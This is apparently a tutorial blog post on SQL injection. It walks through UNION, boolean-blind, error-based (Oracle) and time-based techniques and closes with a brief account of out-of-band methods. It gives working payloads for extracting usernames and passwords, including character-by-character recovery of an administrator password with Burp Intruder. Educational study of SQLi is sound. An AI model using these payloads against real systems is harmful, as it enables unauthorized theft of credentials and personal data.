June 13, 2026
How SQL Injection Lets Attackers Steal Data: A Hands-On Guide to Blind and Error-Based SQLi
SQL injection vulnerability allows an attacker to interfere with the queries that an application makes to its database. It can allow an…
TheNotorious
5 min read
SQL injection vulnerability allows an attacker to interfere with the queries that an application makes to its database. It can allow an attacker to retrieve data that they are not normally able to retrieve.
Impact of SQLi
A successful SQLi attack can result in unauthorized access to sensitive data, such as:
- Passwords
- Credit card details
- Personal user information
How to Detect SQLi Vulnerabilities
To detect SQLi manually, use a systematic set of tests for every entry point:
- Single quote ('): Send a single quote and analyze the error or any other anomalies.
- Boolean conditions: Use
OR 1=1andOR 1=2, then analyze the difference between the application's responses. - Time delay payloads: Inject conditions that cause a delay when true and measure response time.
- OAST payloads: Trigger out-of-band interactions (like DNS or HTTP requests) when a condition is true.
SQLi in Queries
Most SQLi occurs in the WHERE clause of SELECT queries, but it can occur at any location within the query, for example:
UPDATEstatementsINSERTstatementsSELECTstatementsSELECTstatements within theORDER BYclause
Types of SQLi Vulnerabilities, Attacks, and Techniques
- Retrieving hidden data
- Subverting application logic
- UNION attacks
- Blind SQLi
Retrieving Hidden Data
Let's suppose you are using a shopping application and when you select something from a category, for example gifts, the backend sends a SQL query like this:
SELECT * FROM product WHERE category = 'gifts' AND released = 1SELECT * FROM product WHERE category = 'gifts' AND released = 1Let's analyze this request:
SELECT *– select everything from the tableFROM product–productis the table nameWHERE category = 'gifts'– defines which category's data to retrievereleased = 1– a restriction used for hiding unreleased products
Now, what we can do is comment out everything after 'gifts' using SQL comments. Different databases use different comment syntax:
- Most databases use --
- Oracle database also uses -- to comment
If we put -- after gifts (gifts--), the query becomes:
SELECT * FROM product WHERE category = 'gifts'--' AND released = 1SELECT * FROM product WHERE category = 'gifts'--' AND released = 1From AND onwards, everything is commented out, which means the query will only show results for gifts.
Examining the Database
Examining the database where SQLi is present is necessary. This includes:
- Database type
- Version
- Tables
- Columns that the database contains
This eventually helps an attacker in building queries specific to that database.
Some queries used to determine the database type and version:
@@versionv$versionversion()
Listing the Contents of the Database
Except for Oracle, other databases have a set of views called the information schema:
information_schema.tables– used to list the tables in the databaseinformation_schema.columns– used to list the columns in individual tables
For Oracle database:
all_tables– used for listing tablesall_tab_columns– used for listing columns from the database
UNION Attacks
The UNION keyword is used to retrieve data from other tables in the database. This is known as a UNION attack.
Example:
SELECT a, b FROM table1 UNION SELECT c, d FROM table2SELECT a, b FROM table1 UNION SELECT c, d FROM table2UNION attacks have 2 requirements:
- The individual queries must return the same number of columns.
- The data types of each column must be compatible between the individual queries.
To Check Number of Columns
- Use
ORDER BY– increment the specified column index until an error occurs. - Example:
' ORDER BY 1 --, and increase the number until you get an error. - Use
UNION SELECT NULL– this maximizes the chance that the payload will succeed becauseNULLis convertible to every data type. - Example:
' UNION SELECT NULL --, then' UNION SELECT NULL, NULL --until you get an error.
To Check Columns with a Useful Data Type
Often, the data we want to retrieve from a table is in string form. This means we need to find a column with the same datatype or a compatible datatype with string data.
Example (assuming 4 columns):
' UNION SELECT 'a', NULL, NULL, NULL --' UNION SELECT 'a', NULL, NULL, NULL --Now check each column in turn to find which one accepts string data.
Single Column: Retrieving Multiple Columns in One
What if there is only a single column, but you need to retrieve more than one column?
For this, use the concatenation operator to retrieve multiple columns in a single column.
Example:
' UNION SELECT username || '~' || password FROM users --' UNION SELECT username || '~' || password FROM users --Here, ~ is a separator, so the returned data will look like:
administrator~passwordadministrator~passwordBlind SQLi
To check for blind SQLi:
' AND 1=1--'' AND 1=1--'- If it returns "welcome back", there is likely blind SQLi.
After confirming blind SQLi, check the table name:
' AND (SELECT 'a' FROM user LIMIT 1)='a'' AND (SELECT 'a' FROM user LIMIT 1)='a'- If it returns "welcome back", it confirms that the table name is
user.
After finding the table name, check for usernames:
' AND (SELECT 'a' FROM user WHERE username='administrator')='a'' AND (SELECT 'a' FROM user WHERE username='administrator')='a'- If it returns "welcome back", it confirms that there is a username
administrator.
Checking the Password
First, we need to know the length of the password:
' AND (SELECT 'a' FROM user WHERE username='administrator' AND LENGTH(password)>1)='a'' AND (SELECT 'a' FROM user WHERE username='administrator' AND LENGTH(password)>1)='a'What we are doing here is trying to find the upper and lower limits of the password length so we can get the actual length, which we can use to brute force it.
Now, check the password letter by letter. For example, if we get a password length of 20:
' AND (SELECT SUBSTRING(password,1,1) FROM user WHERE username='administrator')='a'' AND (SELECT SUBSTRING(password,1,1) FROM user WHERE username='administrator')='a'- If
'a'is the first letter of the password, it will respond back with "welcome back". - Otherwise, there won't be a "welcome back" message.
We can use Burp Suite Intruder to brute force this 20-character-long password more specifically; the Cluster Bomb attack will help.
Time-Based Blind SQL Injection
Some applications suppress both data output and database error messages.
In these situations, response timing can become the primary source of information.
The general concept is simple:
- A TRUE condition causes a noticeable delay.
- A FALSE condition returns immediately.
By repeatedly testing conditions and measuring response times, information can be inferred even when no visible output is provided.
Time-based techniques are generally slower than other SQL injection methods because every test requires waiting for a response.
Condition Error Blind SQLi (Error-Based Blind SQLi)
Let's first check if there is Blind SQLi present or not:
- Send '
- Then send ''
- Analyze both responses
If:
- ' (single quote) shows an error
- '' (pair of single quotes) does not show an error
Then it means we can execute our query in between.
Checking the Type of Database
'||(SELECT '' FROM dual)||''||(SELECT '' FROM dual)||'- If this query runs without any error, it means the database is Oracle.
- Otherwise, check for other databases.
Checking for an Existing Table (e.g., users)
'||(SELECT '' FROM USER)||''||(SELECT '' FROM USER)||'This will produce an error, which is important because we are not limiting the query from returning more than 1 row, which will eventually break the concatenation.
So we limit it:
'||(SELECT '' FROM user WHERE rownum=1)||''||(SELECT '' FROM user WHERE rownum=1)||'Exploiting This Error
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM user)||''||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM user)||'What this exploit does:
- When our input condition is satisfied, it responds with a 500 error.
- When the condition is not satisfied, it responds with 200.
So, to check for a username:
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM user WHERE username='administrator')||''||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM user WHERE username='administrator')||'- If there is a username
administrator, it will throw a 500 error. - If not, there will be a 200 response.
Checking for the Password
First, find the length of the password:
'||(SELECT CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM user WHERE username='administrator')||''||(SELECT CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM user WHERE username='administrator')||'We find the length of the password so that we can brute force it.
Then, to brute force the password letter by letter:
'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM user WHERE username='administrator')||''||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM user WHERE username='administrator')||'This checks the password letter by letter. If the password length is 20, it will check 20 letters one by one.
To get this done easily, we can use Burp Suite Cluster Bomb attack from Burp Suite's Intruder.
Important:
- Satisfied condition → produces 500 error
- Not satisfied condition → produces 200 response
Out-of-Band (OAST) SQL Injection
Out-of-Band Application Security Testing (OAST) techniques are used when traditional methods are ineffective.
In these situations:
- The application may not display errors.
- The application may not display query results.
- Timing differences may not be reliable.
Instead, testers monitor external interactions generated by the target system.
If the database makes an unexpected DNS or HTTP request to a controlled external system, this can indicate that injected SQL was successfully executed.
OAST techniques are especially useful for asynchronous or background query execution scenarios.
CONCLUSION
These notes are based on my handwritten security research notes. Always test only on systems you own or have explicit authorisation to test. SQL injection is a serious vulnerability; understanding it helps you build safer applications.